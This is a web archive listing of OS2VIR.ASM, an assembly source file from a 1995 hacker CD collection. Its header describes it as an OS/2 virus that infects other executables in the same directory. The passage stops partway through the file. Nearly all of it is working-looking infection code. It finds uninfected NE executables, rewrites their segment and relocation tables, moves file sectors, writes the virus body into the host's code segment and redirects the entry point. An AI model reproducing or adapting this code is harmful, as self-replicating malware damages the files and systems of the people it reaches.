home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / OS2 / OS2VIR.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-20  |  39.2 KB  |  945 lines

  1. ;This is a basic OS/2 virus which infects other OS/2 EXEs in the same
  2. ;directory
  3.  
  4. ;(C) 1995 American Eagle Publications, Inc. All rights reserved.
  5.  
  6.         .386
  7.  
  8. ;Useful constants
  9. DATABUF_SIZE    EQU     4096                            ;size of read/write buf
  10. NEW_HDR_SIZE    EQU     40H                             ;size of new EXE header
  11. VIRUS_SIZE      EQU     OFFSET END_VIRUS - OFFSET VIRUS ;size of virus
  12.  
  13.         EXTRN   DosExit:FAR, DosChgFilePtr:FAR, DosFindFirst:FAR
  14.         EXTRN   DosFindNext:FAR, DosAllocSeg:FAR, DosFreeSeg:FAR
  15.         EXTRN   DosOpen:FAR, DosRead:FAR, DosWrite:FAR, DosClose:FAR
  16.  
  17. DGROUP  GROUP   _DATA,_STACK
  18.  
  19. CODE    SEGMENT PARA USE16 'CODE'
  20.         ASSUME  CS:CODE, DS:_DATA
  21.  
  22.         PUBLIC  VIRUS
  23.  
  24. ;******************************************************************************
  25. ;This is the main virus routine. It simply finds a file to infect and infects
  26. ;it, and then passes control to the host program. It resides in the first
  27. ;segment of the host program, that is, the segment where control is initially
  28. ;passed.
  29.  
  30. VIRUS   PROC    FAR
  31.         pushf
  32.         pusha                         ;save all registers
  33.         push    ds
  34.         push    es
  35.         push    ds
  36.         pop     es
  37.         call    CREATE_DS               ;create the data segment
  38.         call    VIR_START               ;find starting offset of virus
  39. VIR_START:
  40.         pop     si
  41.         sub     si,OFFSET VIR_START
  42.         mov     [VSTART],si
  43.         call    INIT_DS
  44.         call    FIND_FILE               ;find a viable file to infect
  45.         jnz     SHORT GOTO_HOST         ;z set if a file was found
  46.         call    INFECT_FILE             ;infect it if found
  47. GOTO_HOST:
  48.         call    DESTROY_DS              ;clean up memory
  49.         pop     es
  50.         pop     ds
  51.         popa
  52.         popf
  53. VIRUS_DONE:
  54.         jmp     HOST                    ;pass control to host program
  55.  
  56. VIRUS   ENDP
  57.  
  58.         db '(C) 1995 American Eagle Publications Inc., All rights reserved.'
  59.  
  60. ;This routine creates a data segment for the virus. To do that, it
  61. ;(1) allocates memory for the virus (2) creates a data segment for that memory
  62. ;(3) sets up ds and es with this new selector, and (4) saves the handle for
  63. ;the memory so it can be freed when done.
  64. CREATE_DS:
  65.         sub     sp,2
  66.         mov     bp,sp
  67.         push    OFFSET DATASTART - OFFSET DATAEND        ;push size of memory to alloc
  68.         push    ss                      ;push @ of pointer to memory
  69.         push    bp
  70.         push    0                       ;page write
  71. DALSE:  call    DosAllocSeg             ;go allocate memory
  72.         mov     bx,ss:[bp]              ;ds:bx points to memory
  73.         mov     ds,bx
  74.         mov     es,bx
  75.         add     sp,2                    ;restore stack
  76.         ret                     ;EXIT FOR NOW
  77.  
  78. CFILE_ID1       DB      '*.EXE',0
  79. CFILE_ID2       DB      '*.DLL',0
  80. CKNAME          DB      'DOSCALLS'
  81.  
  82. ;Initialize data in data segment.
  83. INIT_DS:
  84.         mov     [DHANDLE],-1
  85.         mov     [SRCHCOUNT],1
  86.         mov     si,OFFSET CFILE_ID1             ;move constant strings to ds
  87.         add     si,[VSTART]
  88.         mov     di,OFFSET FILE_ID1
  89.         mov     cx,OFFSET INIT_DS - OFFSET CFILE_ID1
  90. CDL:    mov     al,cs:[si]
  91.         inc     si
  92.         stosb
  93.         loop    CDL
  94.         ret                                     ;all done
  95.  
  96. ;This routine frees the memory allocated by CREATE_DS.
  97. DESTROY_DS:
  98.         push    ds
  99. DFRSE:  call    DosFreeSeg
  100.         ret
  101.  
  102.  
  103. ;******************************************************************************
  104. ;This routine searches for a file to infect. It looks for EXE files and then
  105. ;checks them to see if they're uninfected, infectable Windows files. If a file
  106. ;is found, this routine returns with Z set, with the file left open, and its
  107. ;handle in the bx register. This FIND_FILE searches only the current directory.
  108.  
  109. FIND_FILE:
  110.         push    ds                      ;push address of file identifier
  111.         push    OFFSET FILE_ID1
  112.         push    ds                      ;push address of handle for search
  113.         push    OFFSET DHANDLE
  114.         push    07h                     ;attribute
  115.         push    DS                      ;push address of buffer used for search
  116.         push    OFFSET SBUF
  117.         push    SIZE SBUF               ;size of buffer
  118.         push    ds                      ;push address of search count variable
  119.         push    OFFSET SRCHCOUNT        ;       filled in by DosFind
  120.         push    0                       ;reserved dword
  121.         push    0
  122. FFIRST: call    DosFindFirst            ;Find first file
  123. FIND_LOOP:
  124.         or      ax,ax                   ;error?
  125.         jnz     FIND_EXIT               ;yes, exit
  126.         cmp     [SRCHCOUNT],0           ;no files found?
  127.         jz      FIND_EXITNZ             ;none found
  128.         call    FILE_OK                 ;ok to infect?
  129.         jz      FIND_EXIT               ;yes, get out with Z set
  130.         push    [DHANDLE]               ;push handle for search
  131.         push    ds                      ;push address of search structure
  132.         push    OFFSET SBUF
  133.         push    SIZE SBUF               ;and length of buffer
  134.         push    ds                      ;and push addr of SRCHCOUNT
  135.         push    OFFSET SRCHCOUNT
  136. FNEXT:  call    DosFindNext             ;do it
  137.         jmp     FIND_LOOP
  138.  
  139. FIND_EXITNZ:
  140.         mov     al,1
  141.         or      al,al
  142. FIND_EXIT:                              ;pass control back to main routine
  143.         ret
  144.  
  145.  
  146. ;This routine determines whether a file is ok to infect. The conditions for an
  147. ;OK file are as follows:
  148. ;
  149. ;       (1) It must be an OS/2 EXE file.
  150. ;       (2) There must be enough room in the initial code segment for it.
  151. ;       (3) The file must not be infected already.
  152. ;
  153. ;If the file is OK, this routine returns with Z set, the file open, and the
  154. ;handle in bx. If the file is not OK, this routine returns with NZ set, and
  155. ;it closes the file. This routine also sets up a number of important variables
  156. ;as it snoops through the file. These are used by the infect routine later.
  157. FILE_OK:
  158.         mov     dx,OFFSET SBUF+23       ;dx points to file to infect's name
  159.         call    FILE_OPEN               ;open the file
  160.         jnz     FOK_ERROR2              ;an error-exit appropriately
  161. FOK1:
  162.         mov     dx,OFFSET NEW_HDR       ;ds:dx points to header buffer
  163.         mov     cx,40H                  ;read 40H bytes
  164.         call    FILE_READ               ;ok, read EXE header
  165.         jc      FOK_ERROR1
  166.         cmp     WORD PTR [NEW_HDR],5A4DH;see if first 2 bytes are 'MZ'
  167.         jnz     SHORT FN1               ;nope, file not an EXE, exit
  168.         cmp     WORD PTR [NEW_HDR+18H],40H    ;see if rel tbl at 40H or more
  169.         jc      SHORT FN1               ;nope, it can't be an OS/2 EXE
  170.         mov     dx,WORD PTR [NEW_HDR+3CH]     ;ok, put offset to new header in dx
  171.         mov     [NH_OFFSET],dx          ;and save it here
  172.         xor     cx,cx
  173.         call    FILE_SEEK_ST            ;now do a seek from start to new hdr
  174.         mov     cx,NEW_HDR_SIZE         ;now read the new header
  175.         mov     dx,OFFSET NEW_HDR
  176.         call    FILE_READ
  177.         cmp     WORD PTR [NEW_HDR],454EH      ;see if this is 'NE' new header ID
  178.         jnz     SHORT FN1               ;nope, not a Windows EXE!
  179.         mov     al,[NEW_HDR+36H]        ;get target OS flags
  180.         and     al,1                    ;see if target OS = OS/2
  181.         jnz     SHORT FOK2              ;ok, go on
  182. FN1:    jmp     FOK_ERROR1              ;else exit
  183.  
  184. ;If we get here, then condition (1) is fulfilled.
  185.  
  186. FOK2:   mov     dx,WORD PTR [NEW_HDR+16H]     ;get initial cs
  187.         call    GET_SEG_ENTRY           ;and read seg table entry into disk buf
  188.         mov     ax,WORD PTR [TEMP+2]    ;put segment length in ax
  189.         add     ax,VIRUS_SIZE           ;add size of virus to it
  190.         jc      SHORT FOK_ERROR1        ;if we carry, there's not enough room
  191.                                         ;else we're clear on this count
  192.  
  193. ;If we get here, then condition (2) is fulfilled.
  194.  
  195.         mov     cx,WORD PTR [NEW_HDR+32H]     ;logical sector alignment
  196.         mov     ax,1
  197.         shl     ax,cl                   ;ax=logical sector size
  198.         mov     cx,WORD PTR [TEMP]      ;get logical-sector offset of start seg
  199.         mul     cx                      ;byte offset in dx:ax
  200.         add     ax,WORD PTR [NEW_HDR+14H]     ;add in ip of entry point
  201.         adc     dx,0
  202.         mov     cx,dx
  203.         mov     dx,ax                   ;put entry point in cx:dx
  204.         call    FILE_SEEK_ST            ;and seek from start of file
  205.         mov     cx,20H                  ;read 32 bytes
  206.         mov     dx,OFFSET TEMP          ;into buffer
  207.         call    FILE_READ
  208.         mov     si,[VSTART]
  209.         mov     di,OFFSET TEMP
  210.         mov     cx,10H                  ;compare 32 bytes
  211. FOK3:   mov     ax,cs:[si]
  212.         add     si,2
  213.         cmp     ax,ds:[di]
  214.         jne     SHORT FOK4
  215.         add     di,2
  216.         loop    FOK3
  217. FOK_ERROR1:
  218.         call    FILE_CLOSE
  219. FOK_ERROR2:
  220.         mov     al,1
  221.         or      al,al                   ;set NZ
  222.         ret                             ;and return to caller
  223.  
  224. ;If we get here, then condition (3) is fulfilled, all systems go!
  225.  
  226. FOK4:   xor     al,al                   ;set Z flag
  227.         ret                             ;and exit
  228.  
  229.  
  230. ;******************************************************************************
  231. ;This routine modifies the file we found to put the virus in it. There are a
  232. ;number of steps in the infection process, as follows:
  233. ;    1) We have to modify the segment table. For the initial segment, this
  234. ;       involves (a) increasing the segment size by the size of the virus,
  235. ;       and (b) increase the minimum allocation size of the segment, if it
  236. ;       needs it. Every segment AFTER this initial segment must also be
  237. ;       adjusted by adding the size increase, in sectors, of the virus
  238. ;       to it.
  239. ;    2) We have to change the starting ip in the new header. The virus is
  240. ;       placed after the host code in this segment, so the new ip will be
  241. ;       the old segment size.
  242. ;    3) We have to move all sectors in the file after the initial code segment
  243. ;       out by VIRSECS, the size of the virus in sectors.
  244. ;    4) We have to move the relocatables, if any, at the end of the code
  245. ;       segment we are infecting, to make room for the virus code. Then we
  246. ;       must add the viral relocatables to the relocatable table.
  247. ;    5) We must move the virus code into the code segment we are infecting.
  248. ;    6) We must adjust the jump in the virus to go to the original entry point.
  249. ;    7) We must adjust the resource offsets in the resource table to reflect
  250. ;       their new locations.
  251. ;    8) We have to kill the fast-load area.
  252. ;    9) We have to update the DOS EXE header to reflect the new file size.
  253. ;
  254. INFECT_FILE:
  255.         mov     cx,WORD PTR [NEW_HDR+32H]     ;get log2(logical seg size)
  256.         mov     ax,1
  257.         shl     ax,cl
  258.         mov     [LOG_SEC],ax            ;put logical sector size here
  259.  
  260.         mov     ax,WORD PTR [NEW_HDR+14H]     ;save old entry point
  261.         mov     [ENTRYPT],ax            ;for future use
  262.  
  263.         mov     dx,WORD PTR [NEW_HDR+16H]     ;read seg table entry
  264.         call    GET_SEG_ENTRY           ;for initial cs
  265.  
  266.         mov     ax,WORD PTR [TEMP]      ;get location of this seg in file
  267.         mov     [INITSEC],ax            ;save that here
  268.         mov     ax,WORD PTR [TEMP+2]    ;get segment size
  269.         mov     WORD PTR [NEW_HDR+14H],ax     ;update entry ip in new header in ram
  270.         call    SET_RELOCS              ;set up RELOCS and CS_SIZE
  271.  
  272.         mov     si,[VSTART]
  273.         mov     ax,cs:[si+ARELOCS]      ;now calculate added size of segment
  274.         shl     ax,3                    ;multiply ARELOCS by 8
  275.         add     ax,VIRUS_SIZE
  276.         add     ax,[CS_SIZE]            ;ax=total new size
  277.         xor     dx,dx
  278.         mov     cx,[LOG_SEC]
  279.         div     cx                      ;ax=full sectors in cs with virus
  280.         or      dx,dx                   ;any remainder?
  281.         jz      SHORT INF05
  282.         inc     ax                      ;adjust for partially full sector
  283. INF05:  push    ax
  284.         mov     ax,[CS_SIZE]            ;size without virus
  285.         xor     dx,dx
  286.         div     cx
  287.         or      dx,dx
  288.         jz      SHORT INF07
  289.         inc     ax
  290. INF07:  pop     cx
  291.         sub     cx,ax                   ;cx=number of secs needed for virus
  292.         mov     [VIRSECS],cx            ;save this here
  293.  
  294.         call    UPDATE_SEG_TBL          ;perform mods in (1) above on file
  295.         mov     dx,[NH_OFFSET]
  296.         xor     cx,cx
  297.         call    FILE_SEEK_ST            ;now move file pointer to new header
  298.  
  299.         mov     di,OFFSET NEW_HDR + 37H ;zero out fast load area
  300.         xor     ax,ax
  301.         stosb
  302.         stosw
  303.         stosw                           ;(8) completed
  304.         mov     dx,OFFSET NEW_HDR
  305.         mov     cx,NEW_HDR_SIZE         ;update new header in file
  306.         call    FILE_WRITE              ;mods in (2) above now complete
  307.  
  308.         call    MOVE_END_OUT            ;move end of virus out by VIRSECS (3)
  309.                                         ;also sets up RELOCS count
  310.         call    SETUP_KERNEL            ;put KERNEL module into virus relocs
  311.         call    RELOCATE_RELOCS         ;relocate relocatables in cs (4)
  312. INF1:   call    WRITE_VIRUS_CODE        ;put virus into cs (5 & 6)
  313.         call    UPDATE_RES_TABLE        ;update resource table entries
  314.         call    ADJUST_DOS_HDR          ;adjust the DOS header file size info
  315.         call    FILE_CLOSE              ;close file now
  316. INF2:   ret
  317.  
  318. ;The following procedure updates the Segment Table entries per item (1) in
  319. ;INFECT_FILE.
  320. UPDATE_SEG_TBL:
  321.         mov     dx,WORD PTR [NEW_HDR+16H]    ;read seg table entry
  322.         call    GET_SEG_ENTRY           ;for initial cs
  323.         mov     ax,WORD PTR [TEMP+2]    ;get seg size
  324.         add     ax,VIRUS_SIZE           ;add the size of the virus to seg size
  325.         mov     WORD PTR [TEMP+2],ax    ;and update size in seg table
  326.  
  327.         mov     ax,WORD PTR [TEMP+6]         ;get min allocation size of segment
  328.         or      ax,ax                   ;is it 64K?
  329.         jz      SHORT US2               ;yes, leave it alone
  330. US1:    add     ax,VIRUS_SIZE           ;add virus size on
  331.         jnc     SHORT US2               ;no overflow, go and update
  332.         xor     ax,ax                   ;else set size = 64K
  333. US2:    mov     WORD PTR [TEMP+6],ax    ;update size in table in ram
  334.  
  335.         mov     al,1
  336.         mov     cx,0FFFFH
  337.         mov     dx,-8
  338.         call    FILE_SEEK               ;back up to location of seg table entry
  339.  
  340.         mov     dx,OFFSET TEMP          ;and write modified seg table entry
  341.         mov     cx,8                    ;for initial cs to segment table
  342.         call    FILE_WRITE              ;ok, init cs seg table entry is modified
  343.  
  344.         mov     di,WORD PTR [NEW_HDR+1CH]     ;get number of segment table entries
  345.  
  346. US3:    push    di                      ;save table entry counter
  347.         mov     dx,di                   ;dx=seg table entry # to read
  348.         call    GET_SEG_ENTRY           ;read it into disk buffer
  349.  
  350.         mov     ax,WORD PTR [TEMP]      ;get offset of this segment in file
  351.         cmp     ax,[INITSEC]            ;higher than initial code segment?
  352.         jle     SHORT US4               ;nope, don't adjust
  353.         add     ax,[VIRSECS]            ;yes, add the size of virus in
  354. US4:    mov     WORD PTR [TEMP],ax      ;adjust segment loc in memory
  355.  
  356.         mov     al,1
  357.         mov     cx,0FFFFH
  358.         mov     dx,-8
  359.         call    FILE_SEEK               ;back up to location of seg table entry
  360.  
  361.         mov     dx,OFFSET TEMP
  362.         mov     cx,8
  363.         call    FILE_WRITE              ;and write modified seg table entry
  364.         pop     di                      ;restore table entry counter
  365.         dec     di
  366.         jnz     US3                     ;and loop until all segments done
  367.  
  368.         ret                             ;all done
  369.  
  370. ;This routine adjusts the DOS EXE header to reflect the new size of the file
  371. ;with the virus added. The Page Count and Last Page Size must be adjusted.
  372. ;Unlike Windows, OS/2 uses this variable to determine the size of the file
  373. ;to be loaded. If it doesn't get adjusted, part of the file won't get loaded
  374. ;and it'll be trash in memory.
  375. ADJUST_DOS_HDR:
  376.         mov     dx,2                    ;seek to file size variables
  377.         xor     cx,cx
  378.         call    FILE_SEEK_ST
  379.         mov     dx,OFFSET TEMP          ;read into TEMP buffer
  380.         mov     cx,4
  381.         call    FILE_READ
  382.         mov     cx,[VIRSECS]            ;calculate bytes to add
  383.         mov     ax,[LOG_SEC]
  384.         mul     cx                      ;put it in dx:ax
  385.         shl     edx,16
  386.         and     eax,0000FFFFH
  387.         or      edx,eax                 ;bytes to add in edx
  388.         mov     ax,WORD PTR [TEMP+2]    ;get page count of file
  389.         dec     ax                      ;eax has page count - 1
  390.         shl     eax,9                   ;eax has bytes of all but last page
  391.         xor     ebx,ebx
  392.         mov     bx,WORD PTR [TEMP]      ;ebx has bytes of last page
  393.         add     edx,eax
  394.         add     edx,ebx                 ;edx has new file size, in bytes
  395.         mov     eax,edx
  396.         and     ax,0000000111111111B    ;ax=last page size
  397.         mov     WORD PTR [TEMP],ax
  398.         shr     edx,9
  399.         inc     dx
  400.         mov     WORD PTR [TEMP+2],dx    ;save page count here
  401.         mov     dx,2                    ;seek to file size variables
  402.         xor     cx,cx
  403.         call    FILE_SEEK_ST
  404.         mov     dx,OFFSET TEMP          ;read into TEMP buffer
  405.         mov     cx,4
  406.         call    FILE_WRITE
  407.         ret
  408.  
  409.  
  410. ;This routine goes to the segment table entry number specified in dx in the
  411. ;file and reads it into the TEMP buffer. dx=1 is the first entry!
  412. GET_SEG_ENTRY:
  413.         dec     dx
  414.         mov     cl,3
  415.         shl     dx,cl
  416.         add     dx,[NH_OFFSET]
  417.         add     dx,WORD PTR [NEW_HDR+22H]     ;dx=ofs of seg table entry requested
  418.         xor     cx,cx                   ;in the file
  419.         call    FILE_SEEK_ST            ;go to specified table entry
  420.         jc      SHORT GSE1              ;exit on error
  421.  
  422.         mov     dx,OFFSET TEMP
  423.         mov     cx,8
  424.         call    FILE_READ               ;read table entry into disk buf
  425. GSE1:   ret
  426.  
  427. ;This routine moves the end of the virus out by VIRSECS. The "end" is
  428. ;everything after the initial code segment where the virus will live.
  429. ;The variable VIRSECS is assumed to be properly set up before this is called.
  430. MOVE_END_OUT:
  431.         mov     ax,[CS_SIZE]            ;size of cs in bytes, before infect
  432.         mov     cx,[LOG_SEC]
  433.         xor     dx,dx
  434.         div     cx
  435.         or      dx,dx
  436.         jz      SHORT ME01
  437.         inc     ax
  438. ME01:   add     ax,[INITSEC]            ;ax=next sector after cs
  439.         push    ax                      ;save it
  440.  
  441.         xor     dx,dx
  442.         xor     cx,cx
  443.         mov     al,2                    ;seek end of file
  444.         call    FILE_SEEK               ;returns dx:ax = file size
  445.         mov     cx,[LOG_SEC]
  446.         div     cx                      ;ax=sectors in file
  447.         or      dx,dx
  448.         jz      ME015                   ;adjust for extra bytes
  449.         inc     ax
  450. ME015:  mov     dx,ax                   ;keep it here
  451.         pop     di                      ;di=lowest sector to move
  452.         sub     dx,di                   ;dx=number of sectors to move
  453.  
  454. MEO2:   push    dx
  455.         push    di
  456.         call    MOVE_SECTORS            ;move as much as data buffer allows
  457.         pop     di                      ;number moved returned in ax
  458.         pop     dx
  459.         sub     dx,ax
  460.         or      dx,dx
  461.         jnz     MEO2
  462.         ret
  463.  
  464.  
  465. ;This routine moves as many sectors as buffer will permit, up to the number
  466. ;requested. On entry, dx=maximum number of sectors to move, and di=lowest
  467. ;sector number to move. This routine works from the end of the file, so if
  468. ;X is the number of sectors to be moved, it will move all the sectors from
  469. ;di+dx-X to di+dx-1. All sectors are move out by [VIRSECS].
  470. MOVE_SECTORS:
  471.         push    dx                      ;first determine # of secs to move
  472.         mov     ax,DATABUF_SIZE
  473.         mov     cx,[LOG_SEC]
  474.         xor     dx,dx
  475.         div     cx                      ;ax=data buf size in logical sectors
  476.         pop     dx
  477.         cmp     ax,dx                   ;is ax>dx? (max sectors to move)
  478.         jle     SHORT MS1
  479.         mov     ax,dx                   ;ax=# secs to move now
  480. MS1:    push    ax                      ;save it till end
  481.         add     di,dx
  482.         sub     di,ax                   ;di=1st sector to move
  483.  
  484.         mov     cx,[LOG_SEC]
  485.         mul     cx                      ;ax=bytes to move this time
  486.         push    ax                      ;save it on stack
  487.  
  488.         mov     ax,di
  489.         mov     cx,[LOG_SEC]
  490.         mul     cx
  491.         mov     cx,dx
  492.         mov     dx,ax
  493.         call    FILE_SEEK_ST            ;seek starting sector to move
  494.  
  495.         pop     cx                      ;cx=bytes to read
  496.         mov     dx,OFFSET TEMP
  497.         call    FILE_READ               ;and read it
  498.         push    ax                      ;save actual number of bytes read
  499.  
  500.         mov     ax,di
  501.         add     ax,[VIRSECS]            ;ax=location to move to, in secs
  502.         mov     cx,[LOG_SEC]
  503.         mul     cx                      ;dx:ax=loc to move to, in bytes
  504.         mov     cx,dx                   ;set up seek function
  505.         mov     dx,ax
  506.         call    FILE_SEEK_ST            ;and move there
  507.  
  508.         pop     cx                      ;bytes to write
  509.         mov     dx,OFFSET TEMP
  510.         call    FILE_WRITE              ;and write proper number of bytes there
  511.  
  512.         pop     ax                      ;report sectors moved this time
  513.         ret
  514.  
  515.  
  516. ;This routine sets the variable RELOCS and CS_SIZE variables in memory from the
  517. ;uninfected file. Then it updates the relocs counter in the file to add the
  518. ;number of relocatables required by the virus.
  519. SET_RELOCS:
  520.         mov     WORD PTR [RELOCS],0
  521.         mov     dx,WORD PTR [NEW_HDR+16H]     ;read init cs seg table entry
  522.         call    GET_SEG_ENTRY
  523.         mov     ax,WORD PTR [TEMP+4]    ;get segment flags
  524.         xor     dx,dx
  525.         and     ah,1                    ;check for relocation data
  526.         mov     ax,WORD PTR [NEW_HDR+14H]     ;size of segment w/o virus is this now
  527.         jz      SHORT SRE               ;no data, continue
  528.         push    ax
  529.         push    ax                      ;there is relocation data, how much?
  530.         mov     ax,[INITSEC]            ;find end of code in file
  531.         mov     cx,[LOG_SEC]
  532.         mul     cx                      ;dx:ax = start of cs in file
  533.         pop     cx                      ;cx = size of code
  534.         add     ax,cx
  535.         adc     dx,0
  536.         mov     cx,dx
  537.         mov     dx,ax                   ;cx:dx = end of cs in file
  538.         push    cx
  539.         push    dx
  540.         call    FILE_SEEK_ST            ;so go seek it
  541.         mov     dx,OFFSET RELOCS
  542.         mov     cx,2
  543.         call    FILE_READ               ;read 2 byte count of relocatables
  544.         pop     dx
  545.         pop     cx
  546.         call    FILE_SEEK_ST            ;go back to that location
  547.         mov     ax,[RELOCS]
  548.         push    ax
  549.         mov     si,[VSTART]
  550.         add     ax,cs:[si+ARELOCS]
  551.         mov     [RELOCS],ax
  552.         mov     cx,2
  553.         mov     dx,OFFSET RELOCS        ;and update relocs in the file
  554.         call    FILE_WRITE              ;adding arelocs to it
  555.         pop     [RELOCS]
  556.         mov     ax,[RELOCS]
  557.         shl     ax,3
  558.         add     ax,2                    ;size of relocation data
  559.         pop     cx                      ;size of code in segment
  560.         xor     dx,dx
  561.         add     ax,cx                   ;total size of segment
  562.         adc     dx,0
  563. SRE:    mov     [CS_SIZE],ax            ;save it here
  564.         ret
  565.  
  566. ;This routine relocates the relocatables at the end of the initial code
  567. ;segment to make room for the virus. It will move any number of relocation
  568. ;records, each of which is 8 bytes long. It also adds the new relocatables
  569. ;for the virus to the file.
  570. RELOCATE_RELOCS:
  571.         mov     ax,[RELOCS]             ;number of relocatables
  572.         mov     cl,3
  573.         shl     ax,cl
  574.         add     ax,2                    ;ax=total number of bytes to move
  575.         push    ax
  576.  
  577.         mov     ax,[INITSEC]
  578.         mov     cx,[LOG_SEC]
  579.         mul     cx                      ;dx:ax = start of cs in file
  580.         add     ax,WORD PTR [NEW_HDR+14H]
  581.         adc     dx,0                    ;dx:ax = end of cs in file
  582.         pop     cx                      ;cx = size of relocatables
  583.         add     ax,cx
  584.         adc     dx,0                    ;dx:ax = end of code+relocatables
  585.         xchg    ax,cx
  586.         xchg    dx,cx                   ;ax=size cx:dx=location
  587.  
  588. RR_LP:  push    cx
  589.         push    dx
  590.         push    ax
  591.         cmp     ax,DATABUF_SIZE
  592.         jle     SHORT RR1
  593.         mov     ax,DATABUF_SIZE         ;read up to DATABUF_SIZE bytes
  594. RR1:    sub     dx,ax                   ;back up file pointer
  595.         sbb     cx,0
  596.         push    cx
  597.         push    dx
  598.         push    ax
  599.         call    FILE_SEEK_ST            ;seek desired location in file
  600.         pop     cx
  601.         mov     dx,OFFSET TEMP
  602.         call    FILE_READ               ;read needed number of bytes, # in ax
  603.         pop     dx
  604.         pop     cx
  605.         push    ax                      ;save # of bytes read
  606.         add     dx,VIRUS_SIZE           ;move file pointer up now
  607.         adc     cx,0
  608.         call    FILE_SEEK_ST
  609.         pop     cx                      ;bytes to write
  610.         mov     dx,OFFSET TEMP
  611.         call    FILE_WRITE              ;write them to new location
  612.         pop     ax
  613.         pop     dx
  614.         pop     cx
  615.         cmp     ax,DATABUF_SIZE         ;less than DATABUF_SIZE bytes to write?
  616.         jle     SHORT RRE               ;yes, we're all done
  617.         sub     ax,DATABUF_SIZE         ;nope, adjust indicies
  618.         sub     dx,DATABUF_SIZE
  619.         sbb     cx,0
  620.         jmp     RR_LP                   ;and go do another
  621.  
  622. RRE:    mov     si,[VSTART]
  623.         mov     cx,cs:[si+ARELOCS]      ;now add ARELOCS relocatables to the end
  624.         push    si
  625.         mov     di,OFFSET TEMP
  626.         add     si,OFFSET ARELOCS + 2   ;si points to relocatable table
  627. RRL:    mov     ax,cs:[si]              ;move relocatables to buffer and adjust
  628.         stosw
  629.         add     si,2
  630.         mov     ax,cs:[si]
  631.         add     si,2
  632.         add     ax,WORD PTR [NEW_HDR+14H]     ;add orig code size to the offset here
  633.         stosw
  634.         mov     ax,[KERNEL]             ;put kernel module ref no next
  635.         add     si,2
  636.         stosw
  637.         mov     ax,cs:[si]
  638.         add     si,2
  639.         stosw
  640.         loop    RRL
  641.         pop     si
  642.         mov     dx,OFFSET TEMP
  643.         mov     cx,cs:[si+ARELOCS]
  644.         shl     cx,3
  645.         call    FILE_WRITE              ;and put them in the file
  646.         ret
  647.  
  648. ;This routine finds the KERNEL module in the module reference table, and puts
  649. ;it into the virus relocation records.
  650. SETUP_KERNEL:
  651.         xor     cx,cx
  652.         mov     dx,WORD PTR [NEW_HDR+28H]       ;go to start of module ref tbl
  653.         add     dx,[NH_OFFSET]
  654.         adc     cx,0
  655.         call    FILE_SEEK_ST
  656.         mov     dx,OFFSET TEMP
  657.         mov     cx,40H                          ;read up to 32 module ofs's to
  658.         call    FILE_READ                       ;the TEMP buffer
  659.         mov     si,OFFSET TEMP
  660. SK1:    lodsw                                   ;get a module offset
  661.         push    si
  662.         mov     dx,[NH_OFFSET]                  ;lookup in imported name tbl
  663.         add     dx,WORD PTR [NEW_HDR+2AH]
  664.         add     dx,ax
  665.         inc     dx
  666.         xor     cx,cx
  667.         call    FILE_SEEK_ST                    ;prep to read module name
  668.         mov     cx,40H
  669.         mov     dx,OFFSET TEMP + 40H
  670.         call    FILE_READ                       ;read it into TEMP at 40H
  671.         pop     ax
  672.         push    ax
  673.         sub     ax,OFFSET TEMP
  674.         shr     ax,1
  675.         mov     [KERNEL],ax                     ;assume this is KERNEL
  676.         cmp     ax,WORD PTR [NEW_HDR+1EH]       ;last entry?
  677.         jge     SHORT SK2                       ;yes, use it by default
  678.         mov     di,OFFSET TEMP + 40H
  679.         mov     si,OFFSET KNAME
  680.         mov     cx,8
  681.         repz    cmpsb                           ;check it
  682.         jnz     SHORT SK3                       ;wasn't it, continue
  683. SK2:    pop     si                              ;else exit with KERNEL set as is
  684.         ret
  685. SK3:    pop     si
  686.         jmp     SK1
  687.  
  688.  
  689. ;This routine writes the virus code itself into the code segment being infected.
  690. ;It also updates the jump which exits the virus so that it points to the old
  691. ;entry point in this segment.
  692. WRITE_VIRUS_CODE:
  693.         mov     ax,[INITSEC]            ;sectors to code segment
  694.         mov     cx,[LOG_SEC]
  695.         mul     cx                      ;dx:ax = location of code seg
  696.         add     ax,WORD PTR [NEW_HDR+14H]
  697.         adc     dx,0                    ;dx:ax = place to put virus
  698.         mov     cx,dx
  699.         mov     dx,ax
  700.         push    cx
  701.         push    dx                      ;save these to adjust jump
  702.         call    FILE_SEEK_ST            ;seek there
  703.  
  704.         mov     di,OFFSET TEMP          ;move virus code to data segment now
  705.         mov     cx,VIRUS_SIZE
  706.         mov     si,[VSTART]
  707. WVCL:   mov     al,cs:[si]
  708.         inc     si
  709.         stosb
  710.         loop    WVCL
  711.  
  712.         mov     si,[VSTART]             ;now set relocatable areas in code to
  713.         add     si,OFFSET ARELOCS       ;FFFF 0000
  714.         mov     cx,cs:[si]
  715.         add     si,4
  716. WVC2:   mov     di,cs:[si]
  717.         add     di,OFFSET TEMP
  718.         mov     ax,0FFFFH
  719.         stosw
  720.         inc     ax
  721.         stosw
  722.         add     si,8
  723.         loop    WVC2
  724.  
  725.         mov     cx,VIRUS_SIZE           ;cx=size of virus
  726.         mov     dx,OFFSET TEMP          ;dx=offset of start of virus
  727.         call    FILE_WRITE              ;write virus to file now
  728.  
  729.         pop     dx                      ;ok, now we have to update the jump
  730.         pop     cx                      ;to the host
  731.         mov     ax,OFFSET VIRUS_DONE - OFFSET VIRUS
  732.         inc     ax
  733.         add     dx,ax
  734.         adc     cx,0                    ;cx:dx=location to update
  735.         push    ax
  736.         call    FILE_SEEK_ST            ;go there
  737.         pop     ax
  738.         inc     ax
  739.         inc     ax
  740.         add     ax,WORD PTR [NEW_HDR+14H]     ;ax=offset of instr after jump
  741.         sub     ax,[ENTRYPT]            ;ax=distance to jump
  742.         neg     ax                      ;make it a negative number
  743.         mov     WORD PTR [TEMP],ax      ;save it here
  744.         mov     cx,2                    ;and write it to disk
  745.         mov     dx,OFFSET TEMP
  746.         call    FILE_WRITE              ;all done
  747.         ret
  748.  
  749. ;Update the resource table so sector pointers are right, if there are
  750. ;any resources
  751. UPDATE_RES_TABLE:
  752.         cmp     WORD PTR [NEW_HDR+34H],0        ;any resources?
  753.         jz      URTE                            ;nope, quit this part
  754.         mov     dx,WORD PTR [NEW_HDR+24H]       ;move to resource table in EXE
  755.         add     dx,[NH_OFFSET]
  756.         add     dx,2
  757.         xor     cx,cx
  758.         call    FILE_SEEK_ST
  759. URT1:
  760.         mov     dx,OFFSET TEMP
  761.         mov     cx,8
